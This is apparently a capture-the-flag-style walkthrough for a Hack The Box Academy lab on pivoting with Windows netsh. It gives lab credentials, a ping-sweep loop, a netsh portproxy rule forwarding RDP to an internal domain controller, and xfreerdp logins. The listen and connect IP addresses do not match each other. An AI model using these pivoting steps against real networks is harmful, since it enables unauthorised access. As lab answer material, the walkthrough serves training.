Skip to content

Port Forwarding with Windows Netsh

ℹ️ Informations

❓Question

Using the concepts covered in this section, take control of the DC (172.16.5.19) using xfreerdp by pivoting through the Windows 10 target host. Submit the approved contact's name found inside the "VendorContacts.txt" file located in the "Approved Vendors" folder on Victor's desktop (victor's credentials: victor:pass@123) . (Format: 1 space, not case-sensitive)

📋 Walkthrough

xfreerdp /v:10.129.42.198 /u:htb-student /p:HTB_@cademy_stdnt!
On the machine: 
for /L %i in (1,1,254) do @ping -n 1 -w 100 172.16.5.%i | find "Reply"
Find the ip then 
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.15.150 connectport=3389 connectaddress=172.16.5.**
And connect using provided creds with xfreedrp: 
xfreerdp /v:10.129.42.198:8080 /u:victor /p:pass@123

Answer

[REDACTED]